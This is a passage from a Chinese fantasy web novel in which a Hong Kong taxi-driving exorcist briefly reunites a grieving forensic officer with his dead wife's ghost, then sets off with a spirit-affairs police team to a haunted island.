“我只是看你妻子魂魄滞留人间,于心不忍,给了你们一个短暂相见的机会。如果你坚持认为这是假的,那现在就付钱下车,就当做了个梦。我继续做我的生意,互不打扰。”
他摆出一副“爱信不信,随便你”的无所谓态度。
说实话,要不是为了这“人鬼同乘”的双倍公里数,他才不想惹这种麻烦。
第138章 包车啊!?
古德这番强硬的态度,反而让高彦博犹豫了起来。
他再次看向身边的古泽瑶,眼神中充满了挣扎和渴望,颤声问道:“阿瑶……你……你真的是阿瑶吗?不是我的幻觉?”
古泽瑶看着丈夫痛苦迷茫的样子,心中大恸。
她下意识地伸出手,想像以前那样抚摸丈夫的脸颊安慰他。
以往,她的手只会穿透过去,无法触碰。
但这一次,她的指尖竟然实实在在地触碰到了高彦博的皮肤!
那微凉却真实的触感,让古泽瑶自己也惊呆了!
随即,巨大的惊喜涌上心头,她激动地声音都发颤:
“彦博!我能碰到你了!我真的碰到你了!你知道吗,我死后一直跟在你身边,看着你难过,看着你偷偷掉眼泪,我想安慰你,想抱抱你,可是……可是我每次都只能穿过去……我碰不到你啊!”
说到最后,她已经泣不成声。
这真实的触感,这饱含血泪的倾诉,彻底击溃了高彦博的心理防线。
什么科学,什么理性,在这一刻都被抛到了九霄云外!
他再也顾不上追究这是不是幻觉、是不是骗局,猛地张开双臂,将身边那冰冷却真实存在的妻子紧紧拥入怀中!
仿佛要将她揉进自己的骨血里,再也不分开!
“阿瑶!阿瑶!”高彦博的声音哽咽,眼泪终于忍不住夺眶而出。
古泽瑶也反手紧紧抱住他,夫妻二人相拥而泣,仿佛要将分离以来所有的思念和痛苦都宣泄出来。
古德看着后视镜里抱头痛哭的两人,脸上没什么表情,心里却嘀咕了一句:
“早这样不就好了?非得让我电一下。”
不过,他还是默默地从驾驶座旁边摸出一个小本子和一支笔,随手记下:
“在车内特殊空间加持下,显形鬼魂可与活人产生物理接触。”
这算是个新发现,值得记录,说不定以后还能拓展个生意出来。
过了好一会儿,见两人的情绪稍微平复了一些,古德才敲了敲方向盘,出声提醒道:
“高先生,给你们十分钟时间叙旧。长话短说,我等会儿还要接别的生意。”
高彦博闻言,连忙抬起头,用袖子擦了擦眼泪,急切地问道:
“大师!请问……请问我下车之后,还能再见到阿瑶吗?”
他眼中充满了期盼。
古德摇了摇头,语气平静却不容置疑:
“人鬼殊途,阴阳两隔。你们夫妻缘分已尽,这是天道规律。这次相见,已是破例。
等你们聊完,我会送你妻子去她该去的地方,助她早日投胎转世。这对她才是最好的归宿,一直滞留人间,对她并无好处。”
高彦博脸上顿时露出极度痛苦和不舍的神色,紧紧抓住古泽瑶的手,仿佛一松开她就会消失。
古泽瑶虽然也满心不舍,但她比高彦博更明白自身的处境。
她温柔地拍了拍丈夫的手背,脸上带着释然和满足的笑容,安慰道:
“彦博,别这样。能再这样真实地见到你,碰到你,和你说说话,我已经心满意足了,真的。这已经是上天最大的恩赐了。”
高彦博看着妻子强颜欢笑的样子,心如刀绞。
他忽然像是抓住了救命稻草般,猛地看向古德,恳求道:
“大师!我……我能不能包下你的车一天?就一天!多少钱我都愿意付!我只想多和阿瑶待一会儿,就一会儿!”<
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br>他的语气近乎哀求。
古德闻言,眉头微微一挑。
包车?这倒是没想到。
这样一来,不仅能持续赚取“人鬼同乘”的双倍公里数,还能有一笔不错的额外收入,而且高彦博也是个不差钱的主儿。
“包车啊……”古德故意沉吟了一下,然后才说道,“行是行。不过最多到今天晚上子时之前。而且,车费要按双倍算,你和你妻子的,两份。”
“没问题!绝对没问题!谢谢大师!谢谢!”高彦博见古德答应,喜出望外,连连道谢,激动得语无伦次。
只要能和妻子多待一会儿,花多少钱他都愿意。
于是,高彦博也顾不上什么工作了,立刻拿出那个翻盖手机,给同事打了个电话,简单说明情况请假。
当然,真实原因没法说。
然后,他便和古泽瑶在后座低声倾诉起来,仿佛有说不完的话,恨不得把这错过的时光一口气补回来。
古泽瑶也温柔地回应着,叮嘱他要照顾好自己。
古德看着后视镜里这温馨又带着悲伤的一幕,摇了摇头,心里叹了口气。
他正准备重新发动车子,四处溜达涨公里数。
就在这时——
“笃笃笃!”
车窗玻璃被人从外面不轻不重地敲了几下。
古德一愣,摇下车窗,探头望去。
只见一个穿着交通警制服、戴着墨镜、嘴角带着一丝痞笑的警员,正站在车旁。
不是别人,正是周星星!
周星星用指关节敲了敲车顶,用一种公事公办却带着点戏谑的语气说道:
“喂,靓仔!这里不准停车太久啊!你知不知道你阻塞交通了?抄牌啊信不信?”
第139章 阴阳相隔的告别
古德摇下车窗,看着外面那个戴着墨镜、一脸痞笑的交通警,没好气地伸出手,比划了一个国际通用的友好手势。
“吔屎啦你!周星星!抄牌抄上瘾了是吧?专门盯着我的车搞?”
周星星被骂了也不生气,反而得意洋洋地推了推鼻梁上的墨镜,镜片反射着午后的阳光。
“喂,德仔,话不能这么说嘛。维护香江交通秩序,是我辈差人应尽的责任!”
古德懒得跟他贫,打量了一下他这身标准的交通警制服,有些好奇地问:
“你怎么又把这身皮穿上了?被阿潮发配到交通部体验生活了?”
“切!什么发配!”
周星星立刻挺直腰板,摆出一副高深莫测的样子,压低声音道。
“这是我主动申请的战略性岗位调整!最近香江灵异事件频发,好多怪事都发生在路上,或者跟交通工具有关。
我扮成交通警,骑着铁马四处巡逻,岂不是更容易发现线索?这样我就能赚到更多的功劳,这不就刚好撞见你违章停车了嘛!”
古德听了,忍不住嗤笑一声,调侃道:“哟呵,没想到周sir,现在这么有觉悟了?不会是骑那小破摩托车上瘾了吧?”
“喂!什么小破车!”
周星星像是被踩了尾巴的猫,立刻跳脚反驳,“我现在的配置可是最顶级的!最新款的本田CB系列,马力足,声音靓,装备齐全!早就不是以前那辆老掉牙的‘绵羊仔’了!”
看着周星星那急于证明自己的样子,古德哈哈一笑,不再逗他。
他回头瞥了一眼车内,高彦博和古泽瑶依然沉浸在重逢的温情中,低声絮语着。
古德推开车门,走了下来,靠在车身上,从口袋里摸出一盒“万宝路”,抖出一根递给周星星。
“看来你们‘特别事务科’最近生意兴隆啊,抓了不少‘好兄弟’吧?”
古德随口问道,自己也点上一根。
周星星熟练地接过烟,却没有用打火机。
只见他右手食指和中指夹着烟,拇指在烟头前看似随意地轻轻一搓,指尖一缕微不可查的淡黄色法力一闪而过,“噗”的一声轻响,烟头竟然就这么被点燃了。
他得意地叼上烟,深吸了一口,吐出一个烟圈。
“还行吧,马马虎虎。阿潮那边接了几个案子,我也顺手收拾了几个不长眼的小鬼。怎么,你这边缺‘货’了?要多少,我给你送来,保证新鲜出炉。”
古德有些意外地挑了挑眉,看着周星星那手无火点烟的炫技,点了点头:
“可以啊阿星,进步挺快嘛,能把法力控制得这么精细了,都能用来点烟了!”
周星星嘿嘿一笑,显然很享受这种小小的炫耀。
古德接着说道:“明天吧。明天我正好找岚婆一趟,你把‘货’准备好,我一起带过去。顺便把车上这位女士也送下去。”
他用眼神示意了一下车内。
周星星好奇地透过车窗往里瞄了一眼,看到后座那一人一鬼相依的景象,压低声音问:
“这二位……什么情况?看起来不像是普通的载客啊。”
古德吐出一口烟,淡淡一笑,语气里带着点看透世情的淡然:
“没什么,就是一个很老套的故事。阴阳两隔的夫妻,短暂的重逢,很快又要说再见。这种生离死别的情愫,你还小,不懂。”
“喂!什么还小!什么叫我不懂!”周星星立刻不服气地嚷嚷起来,还作势要解皮带,“我懂的比你多多了!不信咱们掏出来比比大小?”
古德斜睨了他一眼,眼神里充满了鄙视:“幼稚!我古德大师需要靠那种东西来证明自己的成熟和魅力吗?”
他伸手拍了拍周星星的肩膀,用一种老气横秋的语气说道,“好了好了,阿星啊,你也不小了,别整天像个长不大的孩子。我得去开车了,你继续你的‘战略性巡逻’吧。”
说完,不等周星星再反驳,古德拉开车门,利落地坐回驾驶座,发动引擎,对着窗外气鼓鼓的周星星挥了挥手,一脚油门,出租车便汇入了车流。
后视镜里,还能看到周星星站在原地,叉着腰,嘴里嘀嘀咕咕地不知道在念叨什么,估计没什么好话。
古德笑着摇了摇头,继续开着车,载着后座那对珍惜着最后时光的夫妻,在九十年代末的香江街头缓缓行驶。
从九龙到港岛,再从港岛绕回九龙,车窗外的景色从繁华的商业区到宁静的住宅区,再到灯火初上的维港。
车流如织,霓虹闪烁,这座城市的喧嚣与活力,与车内静谧而伤感的氛围形成了鲜明的对比。
高彦博和古泽瑶似乎有说不完的话,从过去的回忆,到现在的近况,再到对未来的嘱托。声音很低,却充满了浓浓的不舍。
古德专注地开着车,尽量不去打扰他们这最后的相聚。
时间,就在车轮的滚动中悄然流逝。
夕阳西下,天边染上了绚丽的晚霞,又渐渐暗淡下去,夜幕降临,华灯初上。
终于,当出租车再次驶回相对安静的街道时,古德看了看时间,觉得差不多了。
他缓缓将车停在路边,转过身,对后座的高彦博轻声说道:
“高先生,时间到了。该说的,想必也都说完了吧。”
高彦博的身体微微一僵,紧紧握住了古泽瑶的手,脸上写满了不舍与痛苦,但他还是艰难地点了点头。
他知道,这偷来的时光,终究是要还的。
古泽瑶倒是显得平静许多,她温柔地看着丈夫,眼中虽有泪光,却带着一种释然和解脱。
古德拿出一个巴掌大小、瓶口贴着符纸的特制收魂瓷瓶,对古泽瑶说道:
“古女士,委屈你先在这里面待一会儿,我很快会送你去该去的地方,安排你投胎转世。”
古泽瑶感激地对古德点了点头:“谢谢大师成全。”
她又深情地看了高彦博最后一眼,仿佛要将他的模样刻进灵魂里。
古德激活收鬼符,将瓶口对准古泽瑶。
一股柔和的吸力传出,古泽瑶的魂体化作一道淡淡的青烟,被收入瓶中。
古德迅速用符纸将瓶口封好。
车内,顿时只剩下高彦博一个人,以及那挥之不去的空虚和寂静。
他呆呆地看着身边空荡荡的座位,良久
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,才深深地叹了口气。
他默默地掏出钱包,点出足够的钞票,连他自己和古泽瑶的车费一起,递给了古德。
“大师,谢谢您。”他的声音有些沙哑。
推开车门下车前,高彦博犹豫了一下,还是转过身,带着最后一丝期盼问道:
“大师……您说,我……我还有机会再见到阿瑶吗?哪怕只是一眼……”
古德接过钱,数了数,脸上露出惯有的职业笑容,说道:
“缘分这东西,谁说得准呢?如果你们夫妻缘分确实未尽,说不定她下辈子会投胎成为你的孩子呢?
那样的话,你们不就又以另一种方式重逢了吗?当然,这只是可能,天道轮回的事情,我也不能打包票。”
高彦博听了,若有所思地点了点头。
经过这大半天的倾诉和聆听,他心中的执念和悲痛确实化解了不少。
他明白了妻子最大的愿望是看他好好活下去,而不是沉溺于过去。
他又想起一件事,问道:
“大师,像您这样的高人,世上多吗?不瞒您说,我之前因为一些案件,也碰到过几个自称能通灵捉鬼的师傅,但大多都是江湖骗子。”
古德有些奇怪地看了高彦博一眼,反问道:“高先生,按说你的职位,应该知道警队里有个‘异灵灵异部门’吧?他们就是专门处理这类事情的。”
高彦博点了点头:“知道是知道,还打过一两次交道。不过……我觉得他们那个部门有点……有点神神秘秘的,不太像正规编制,做事风格也比较奇特,所以就没有深入接触。”
古德笑了笑,直接说道:“那个部门的负责人谢潮,是有真本事的。你想了解这方面的话,可以接触一下。好了,高先生,今天的咨询服务就到此结束了,我也该收工回家了。”
高彦博整理了一下情绪,恢复了些许往日的儒雅,他点了点头,诚恳地说道:
“大师,今天真的非常感谢您。相信我们以后还会见面的,下次,希望能以朋友的身份相聚。”
说完,他推开门,走下了车。
夜晚的凉风吹拂着他的脸颊。
古德看着高彦博略显孤寂却挺直的背影,想起记忆中关于这个角色的正面评价,觉得这人确实不错。
今天心情也好,于是便喊了一声:
“高先生,等一下。”
高彦博疑惑地转过身。
古德从随身的小挎包里掏出一张黄色的符纸,手指灵动地几下折叠,便将其折成了一个标准的三角形护身符。
他递出车窗,说道:“看你人不错,这个护身符送你了。带在身上,寻常的阴邪之气近不了身,算是个小礼物。”
高彦博愣了一下,随即脸上露出感激的神情,连忙上前双手接过护身符,触手感到一丝温润。
“谢谢!太谢谢您了,大师!”
“不客气,路上小心。”古德对他笑了笑,然后不再多言,挥了挥手,挂上档,出租车轻吼一声,驶入了夜色之中。
高彦博站在原地,手里紧紧攥着那个还带着一丝体温的护身符,望着出租车远去的尾灯,久久没有离去。
第140章 谢潮和周星星等人上门
夜色深沉,古德驾驶着出租车回到了元朗的小洋楼。
停好车,他拖着略微疲惫的身体走进屋内。
洗漱完毕后,他并没有立刻修炼,而是盘膝坐在床上,习惯性地唤出了系统面板。
半透明的界面在黑暗中浮现,散发着柔和的光芒。
他的目光直接落在了【当前公里数】一栏。
公里数:2116.3
古德仔细查看了一下今日的详细记录:
【今日营运总结:】
【载客里程:360公里(高彦博包车及零星乘客)】
【载鬼里程:300公里(古泽瑶)】
【特殊加成:人鬼同乘双倍生效】
【今日总计获得公里数:360+300=660公里】
【当前累计公里数:700公里点数】
“啧啧,700公里……这波不亏!”
古德摸着下巴,心里美滋滋地盘算着,“主要还是高彦博这家伙包车时间长,加上‘人鬼同乘’的奖励,这才刷了这么多。看来以后得多发展这种‘优质客户’。”
不过,高兴归高兴,当他看到技能升级所需的庞大公里数时,又忍不住叹了口气。
**升到LV3需要1000点,还有一个炁体源流也需要加到LV3,辅助他更好的修行。
而且法力属性提升一点现在也需要上千点,这700点看着不少,但还真不够看,得继续努力攒公里数才行。
关闭系统面板,古德收敛心神,开始运转《黄庭内景玉经》,引导着体内新增的法力沿经脉缓缓流动,温养着初步显现的几尊身神。
修炼中,时间过得飞快,不知不觉窗外已泛起鱼肚白。
……
“砰!啪!嘿哈!”
“我靠!阿潮你不讲武德!搞偷袭!你个小垃圾!”
“少废话!看招!”
“哎呀!看我猴子偷桃!”
“……**换一招行不行!”
一阵喧闹声夹杂着拳脚碰撞和笑骂声,将古德从深沉的修炼状态中吵醒。
他皱了皱眉,有些不悦地睁开眼。
天才蒙蒙亮,谁这么没公德心在别人家门口打架?
他披上一件外套,趿拉着拖鞋,带着几分起床气,“吱呀”一声打开了大门。
门外,一幅热闹的景象映入眼帘。
只见小院空地上,谢潮和周星星两人正拳来脚往地“切磋”着。
谢潮依旧是那身黑色皮衣,表情酷酷的,但出手迅捷凌厉。
周星星则穿着他那套交通警制服,动作夸张搞笑,嘴里还不停地嚷嚷着。
旁边,于子朗、马季还有莫作栋三人,正嘻嘻哈哈地围成一圈看热闹,时不时还起哄两句。
“星仔!攻他下盘!对!撩阴腿!”于子朗唯恐天下不乱地喊着。
“阿潮!别留情面!让他知道知道厉害!”马季也在旁边煽风点火。
莫作栋则推了推眼镜,一脸看戏的表情,但嘴角的笑意却藏不住。
古德揉了揉还有些乱糟糟的头发,没好气地冲着院子里喊道:“喂!你们几个!大清早的跑我家门口来演武打片啊?还让不让人睡觉了!吵**了!”
他看到周星星又是一招“猴子偷桃”使出来,忍不住吐槽道:“还有你,阿星!能不能有点创意?老是偷桃偷桃的,有什么杀伤力?你要用就用千年杀啊!那才叫一击必杀!”
旁边看热闹的于子朗和马季一听,立刻爆发出更大的笑声,连连附和:“对对对!阿德说得对!星仔,快用千年杀!让阿潮尝尝鲜!”
谢潮刚好一个侧身躲开周星星的猴子偷桃,听到古德的话,脸色一黑,后退半步,冲着古德和起哄的几人比了一个标准的中指:“好样的啊你们!合伙坑我是吧?”
古德看着这帮活宝,哭笑不得。
几人又打闹了一阵,才嘻嘻哈哈地停了下来。
“行了行了,别在门口站着了,进来吧。”古德无奈地摇摇头,侧身让开了门。
几人鱼贯而入,一点也不客气。
周星星和马季轻车熟路地把客厅那张茶几收拾出来,然后变戏法似的从带来的几个袋子里拿出了一堆还冒着热气的早茶点心:
虾饺、烧卖、叉烧包、凤爪、糯米鸡……还有几杯用塑料袋装着的丝袜奶茶。
周星星拿起一杯奶茶,吸管“噗”地一声**去,递给古德,笑嘻嘻地说:“来来来,德仔,别客气,趁热吃!”
古德接过奶茶,没好气地翻了个白眼:“我客气什么?这是我家!还有,你们这一大早的,兴师动众的,肯定不是专门来给我送早餐的吧?说吧,什么事?”
谢潮拿起一个酥皮菠萝包,咬了一大口,腮帮子鼓鼓的,听到古德问话,努力咽下去后,才用一种看似随意的语气说道:
“没什么大事,就是想找你一起出海去露营,放松放松,怎么样,有兴趣没?”
古德刚吸了一口奶茶,听到这话,差点没呛到。
他放下杯子,用看傻子一样的眼神看着谢潮:“大哥,现在农历七月都刚开始,你们是异灵灵异部门的核心,会有心情在这个时间去海边露营?”
被古德一眼识破,谢潮有些尴尬地摸了摸鼻子。
周星星见状,立刻凑过来,脸上堆起讨好的笑容,解释道:“哎呀,阿德,还是你精明。其实是这样的……”
他压低声音,继续说道:
“有个挺有钱的村长找到我们部门求助。他是一处离岛村的村长,说他们岛上最近不太平,莫名其妙冒出好多邪门的东西,搞得村民人心惶惶。他花了大价钱,请我们上岛去
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看看,把那些‘脏东西’清理清理。”
周星星拍了拍胸脯:
“我们几个商量了一下,觉得这事儿有点蹊跷,岛上情况不明,万一有点什么大家伙,我们几个应付不来,临时搬救兵也来不及。
所以嘛,就想着叫上你一起,我们才有安全感!而且这可是公费旅游外加赚外快的好机会啊!”
古德听完,慢悠悠地拿起一个虾饺放进嘴里,咀嚼着,没有立刻回答。
他内心快速权衡着:出海?捉鬼?听起来是有点麻烦,而且会耽误他开出租车赚公里数。但另一方面,如果岛上真的有很多邪祟,那岂不是赚取阴德的大好机会?说不定一趟下来,升级后备箱的阴德就凑够了。
谢潮见古德犹豫,又加了一把火:
“德仔,别老惦记着你那出租车了。偶尔休息两天,就当放个假。这样,你的出场费,我个人掏腰包,给你这个数——”
他伸出食指,“一百万港币,怎么样?而且岛上的收获,按老规矩分。”
“一百万?”古德眉毛挑了一下。
这价钱确实很有吸引力,相当于他开很久出租车的纯收入了。
而且阴德的诱惑更大。
周星星趁热打铁:“放心啦阿德,我们计划好了,快去快回,最多两天!耽误不了你多少生意。”
古德沉吟了片刻,终于点了点头:“行吧,看在钱……咳咳,看在大家朋友一场的份上,我就跟你们走一趟。”
他顿了顿,想起一件事,说道:“不过得等我一下,我昨天答应了一个客户,要送他妻子去投胎。不过这大白天的,我得先去龙婆那一趟,让她转交一下给岚婆。”
谢潮和周星星几人交换了一个“搞定”的眼神。
于子朗连忙从身后拿出一个黑色的、看起来挺结实的手提箱,递给古德:
“喏,阿德,这是这几天我们抓的‘货’,都在这儿了。不过送‘货’这种小事,让作栋去就行了嘛,反正龙婆是他老妈,他熟门熟路。”
古德一想,也是,让莫作栋跑一趟确实更方便。
他接过箱子,又找出那个装着古泽瑶魂魄的小瓷瓶放入箱子后,再递给莫作栋。
“作栋,那就麻烦你跑一趟了,按规矩处理就行。”
莫作栋推了推眼镜,爽快地接过两个小瓷瓶:“没问题,阿德,交给我吧,很快回来。”
说完,他便转身出门了。
几人一边吃着早餐,一边等着莫作栋回来。
古德想起一件事,问坐在旁边的马季:
“马季,你和石敢当修炼我给的呼吸法也有一段时间了,感觉怎么样?石敢当的状态有没有好一点?”
他记得石敢当因为被马季吸收法力,一直有些虚弱,不知道这基础呼吸法能否对它有点帮助?
第141章 八卦之心人人皆有
马季听到古德的询问,脸上立刻露出了发自内心的感激之色。
他放下手中的奶茶,身体微微前倾,语气真诚地说道:
“阿德,真的要多谢你!自从修炼了你给的那套呼吸法之后,变化真的很大!”
“石敢当现在好多了!以那套呼吸法好像能直接从天地间吸收一种有别于灵气的能量,石敢当靠着这个,可以自己慢慢恢复元气了!我也不用再……再下意识地去吸取它的法力来补充自己了。”
说到这里,马季的声音低沉了一些,带着一丝后怕和庆幸:
“说实话,阿德,要不是你,我可能到死都不知道自己在无形中消耗着石敢当。如果有一天真的把它吸干了,那我……我这辈子心里都会过不去的!真的,太谢谢你了!”
古德看着马季真诚的眼神,能感觉到他这番话是掏心窝子的。
他笑了笑,摆了摆手,心里却对系统优化过的基础呼吸法效果有了更直观的认识。
这**不仅能让普通人筑基,还能让灵体自我修复并且恢复灵力,确实不简单。
“有用就好,朋友之间,不用这么客气。”
几人又闲聊了几句,没过多久,莫作栋就办完事回来了,冲大家比了个“搞定”的手势。
古德也早已收拾好了简单的行装。
主要是他那个宝贝琴盒法坛和一些符箓法器。
一行人准备出发。
门口停着三辆车:谢潮开着一辆黑色的私家车,马季开着另一辆部门配的出租车外观公务车,而古德,自然是开着他那辆标志性的红色出租车。
周星星很自觉地就想往谢潮的车里钻,却被古德一把拽住后衣领。
“哎哎哎?德仔你干嘛?”周星星嚷嚷道。
古德笑眯眯地拉开出租车副驾驶的门,做了个“请”的手势:
“周大警官,今天委屈你坐我的车。上来吧,给付个车费,我今天可不能跑空。”
周星星一脸不情愿:“喂!不是吧?又要我付车费?”
“废话!”古德理直气壮地说,“谁让你上次想抄我牌?这就叫因果循环!上来,系好安全带,表我已经打上了,按里程收费,童叟无欺!”
周星星哀嚎一声,在谢潮等人幸灾乐祸的目光中,悻悻地爬进了副驾驶。
车子启动,驶向码头。
刚开始还好,但没过五分钟,周星星的“话痨”属性就发作了。
他从交通管制聊到最近油价,从灵异案件八卦到哪家茶餐厅的菠萝油最好吃,嘴巴一刻不停,吵得古德脑仁疼。
“阿星,”古德终于忍不住,面无表情地打断他,“你能不能安静五分钟?”
“五分钟?德仔,人生苦短,要及时行乐,要多交流!我跟你说啊……”周星星完全没领会精神,继续喋喋不休。
古德叹了口气,默默地从随身挎包里摸出一张黄色的符纸。
他看准周星星看窗外的瞬间,以迅雷不及掩耳之势,“啪”地一下将符纸无声贴在了周星星的后脑勺上。
静音符生效!
周星星的嘴巴还在动,却发不出任何声音了,只能瞪大眼睛,发出“呜呜呜”的**,手舞足蹈地比划着。
世界瞬间清净了。
古德满意地点点头:“早该这样了。”
周星星幽怨地看了古德一路,直到车子抵达了位于维多利亚港畔的一处私人码头。
码头上,停泊着一艘看起来相当不错的白色中型游艇,流线型的船身,保养得很好。
这显然是谢潮通过部门关系或者那位“富豪村长”安排的交通工具。
登船的人员除了古德、谢潮、周星星、于子朗、马季、莫作栋这几位“核心战力”之外,还有几名穿着便装、但行动干练的年轻人。
他们是“异灵灵异部门”的外围支援人员,负责驾驶、通讯、后勤保障以及事后的一些收尾工作。
古德跟着众人踏上甲板,海风带着咸腥味扑面而来。
他走进宽敞的船舱,发现里面已经有两个人在了。
定睛一看,其中一位正是昨天才见过的高彦博!
高彦博看到古德,脸上立刻露出热情的笑容,快步迎了上来:“古大师!真是太巧了,又见面了!”
他侧身介绍身旁另一位穿着休闲夹克、气质斯文沉稳的年轻人:“大师,这位是我的小舅子,古泽琛,阿瑶的弟弟。”
古德看向古泽琛,心中了然。
古泽琛,法医,兼职业余推理小说作家,也是《法证先锋》里的重要角色。
他点了点头,算是打过招呼。
“高先生,古医生,你们今天这是……”古德有些疑惑地问道,没想到会在这里遇到他们。
高彦博解释道:“是这样的,古大师。我们要去的那个小岛,近期发生了数起非正常死亡事件,案情有些蹊跷。
总部派了任务,要求我们法证部和法医科派人随行,协助异灵灵异部门上岛进行现场勘查和尸体检验。我主动申请了这个任务,阿琛是法医,自然也一起来了。”
他的语气中带着一丝不易察觉的探究,似乎也想借此机会更深入了解这个神秘的世界。
古德点了点头,表示理解。
这种涉及多人死亡且死因可疑的案件,确实需要法证和法医的专业介入。
高彦博又转向谢潮,伸出手,态度客气中带着几分好奇:
“谢sir,久仰大名!这次登岛,要打扰你们工作了。”
谢潮与他握了握手,表情依旧酷酷的,但语气还算平和:
“高sir客气了,互相配合。不过提前说一声,我们这次上岛,主要目的是处理一些‘非科学’层面的问题,环境可能比较……特别,希望高sir和古医生有个心理准备。”
高彦博认真地点点头:“明白,我们会做好准备的。”
这时,古泽琛有些犹豫地走到古德身边,压低声音,带着期盼问道:
“古…古大师,我听姐夫说,您昨天……让我姐姐和姐夫见面了。不知道……不知道我能不能也……见我姐姐一面?哪怕只是说几句话也好……”
他的眼神里充满了对姐姐的思念。
古德略带遗憾地摇了摇头:
“古医生,实在不好意思。你姐姐的古泽瑶女士,我今天一早已经安排人送她去该去的地方了,现在可能已经在排队等待投胎转世。想要见面,恐怕不太可能了。”
看到古泽琛脸上瞬间涌上的失望,古德话锋一转,补充道:
“
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不过,如果你姐姐的进程没那么快,等她安顿好后,或许可以通过‘问米’的方式,请她上来与你们短暂交流。我可以介绍一位可靠的‘问米婆’给你认识。”
“问米?”
古泽琛虽然有些将信将疑,但听到还有一线希望,失望之情减轻了不少,连忙道谢:
“谢谢古大师!有机会的话,麻烦您一定帮我引荐!”
这时,周星星在于子朗的提醒下,把后脑勺上的静音符撕了下来,长长地喘了口气:“憋死我了!德仔你太狠了!”
他凑到古德身边,用胳膊肘捅了捅古德,一脸八卦地指着正在和谢潮交谈的高彦博,小声问:
“喂,阿德,那个胖子,不就是昨天坐你车那个‘痴情种子’吗?没想到还是自己伙计!快说说,到底什么情况?昨天问你你还神神秘秘的不说清楚!”
古德无奈地看了周星星一眼:
“你怎么这么八卦?别人的家事,有什么好打听的?”
他决定反将一军,转移话题:
“对了,阿星,别说别人了。你和你女朋友阿敏怎么样了?我听说你婚戒都看好了,钱也存得差不多了吧?什么时候请喝喜酒啊?”
周星星一听话题转到自己身上,立刻有点慌,支支吾吾地说:
“结…结婚的钱是差不多了,但是买房的首付还差一点嘛…香港楼价你又不是不知道,贵到飞起!再说…再说…”
周星星眼睛一转,突然很生硬的转了一个话题:
“德仔,我跟你说.....我听说,于子朗最近好像和一位警花走得很近啊,特别暧昧!据说那位警花的前男友,长得跟马季还有几分像呢?是不是啊,子朗?”
这话一出,船舱里所有人的目光“唰”地一下都集中到了于子朗身上。
正在喝水的于子朗差点一口水喷出来,脸瞬间涨得通红。
“喂!阿星!没有的事!你别听人乱讲啊!”于子朗慌忙摆手否认。
马季也一脸无辜地指着自己:“啊?关我什么事?”
于子朗被众人那八卦的眼神看得招架不住,一把拉起还在状况外的马季,一边往船舱外走一边找借口:
“小马哥,走!我们出去透透气,看看石敢当怎么样了!你说它一个精灵,怎么还会晕船呢?真是奇怪……”
看着他俩仓皇逃窜的背影,古德和周星星对视一眼,忍不住哈哈大笑起来。
船舱里充满了快活的空气。
这种朋友间互相打趣、轻松愉快的氛围,让古德感觉很舒服,仿佛暂时远离了那些阴森诡异的灵异事件。
然而,就在这轻松的时刻,古德脸上的笑容突然一凝。
他敏锐的灵觉捕捉到一股异常的气息!
这股气息来自船外的海面,阴冷、晦暗、带着一种沉淀了许久的海腥味和怨念,绝非普通的海洋生物或者自然现象所能散发!
其强度,甚至超过了之前遇到的那个西洋女巫恶魔!
“有情况!”
古德心中一凛,来不及细想,立刻起身,快步冲出船舱,朝着游艇的船头方向跑去。
海风呼啸,吹乱了他的头发,他的目光锐利地扫过前方看似平静无波的海面,试图找出那股强大阴气的源头。
第142章 泽风大过
此时,游艇正航行在相对平静的海域,蔚蓝色的海水在阳光下泛着粼粼波光,偶尔有白色的海鸥掠过。
一切都显得那么正常,那么安宁,仿佛刚才那股突如其来的、令人心悸的强大阴气,只是他过度敏感产生的幻觉。
但古德对自己的灵觉极为自信。
修为到了他这般地步,尤其是《黄庭内景玉经》小成之后,神识敏锐远超常人,绝不可能无缘无故产生如此清晰的错觉。
那阴冷、晦涩、带着深海怨念的气息,虽然一闪即逝,却如同在平静湖面投下的一颗石子,涟漪虽已平复,但石子确已沉底。
“藏起来了吗?还是……速度极快,已经远离了?”
古德心中暗忖,眼神更加凝重。
他绝不相信那是错觉。
没有丝毫犹豫,他迅速从随身的挎包里取出六张绘制精良的破障符。
这种符箓专破幻象、迷障,能令一切隐匿的邪祟无所遁形。
他深吸一口气,体内精纯的法力顺着手臂经脉涌向指尖。
他双手快速结出一个简单却有效的手印,低喝一声,声音不大,却带着一股不容置疑的威严,穿透了海风的呼啸:
“天地无极,乾坤借法!六合破障,邪祟显形!敕!”
随着咒语念出,他手腕一抖,六张破障符脱手飞出,并未飘落,而是诡异地悬浮在他身前的半空中,呈一个完美的圆形排列!
“噗——”
六张符纸无火自燃,瞬间化作六团明亮的青色火焰!
火焰并不炙热,反而散发出一种清凉、纯净的气息。
紧接着,六道凝练的清辉光柱从燃烧的符纸中迸发而出,如同六把巨大的青色光扇,以古德为中心,向着前后左右上下六个方向毫无死角地横扫而出!
青光所过之处,空气似乎都泛起细微的涟漪,仿佛被某种力量涤荡了一遍。
光线穿透海面,甚至能看到水下几米深的情况。
这一手“六合破障”,覆盖范围广,探查精度高,是破除隐匿邪祟的强力手段。
然而……
青光扫过之后,海面依旧波光粼粼,天空依旧湛蓝,游艇周围的一切没有任何变化。
没有狰狞的鬼影浮现,没有扭曲的空间波动,甚至连一丝残留的阴气都感应不到了。
仿佛刚才那股强大的阴气从未出现过。
“嗯?”
古德的眉头紧紧皱了起来,形成了一个川字。
破障符没有任何反应,这只有两种可能:一是周围确实什么都没有,刚才真是他的错觉;二是隐匿起来的那东西,暂时脱离了这艘游艇的范围,隐匿到了远处!
古德更倾向于后者。
谢潮、周星星、于子朗等人也被古德的动静吸引,纷纷赶到了船头。
谢潮看到古德凝重的神色和空气中尚未完全散去的符箓余韵,面色一紧,快步上前低声问道:
“德仔,什么情况?发现什么了?”
古德看了他一眼,没有立刻回答,而是先用眼神示意了一下周围那些跟过来的后勤支援人员。
谢潮立刻会意,转身对那些人摆了摆手,语气轻松地说道:“没事没事,大家都散了吧,回到各自岗位。”
等无关人员都离开,船头只剩下谢潮、周星星、于子朗、莫作栋、马季以及被马季扶着的、脸色有些发白的石敢当几个核心成员时,古德才将目光投向众人。
他先是有些无语地看了一眼石敢当。
这家伙好歹是个修炼有成的石头精灵,此刻却像个晕船的普通人一样,软绵绵地靠着栏杆,一脸菜色,真是……有损精灵形象。
不过,眼下石敢当是船上除他之外灵觉最强的,古德还是抱着希望问道:
“石敢当,你刚才有没有感觉到什么特别的东西?比如一股很阴冷、很强大的气息?”
石敢当虚弱地抬起头,尴尬地扯出一个难看的笑容:
“阿德……抱歉……我刚才……晕船晕得厉害,五脏六腑都在翻腾,神识都散了……啥……啥也没感觉到……”
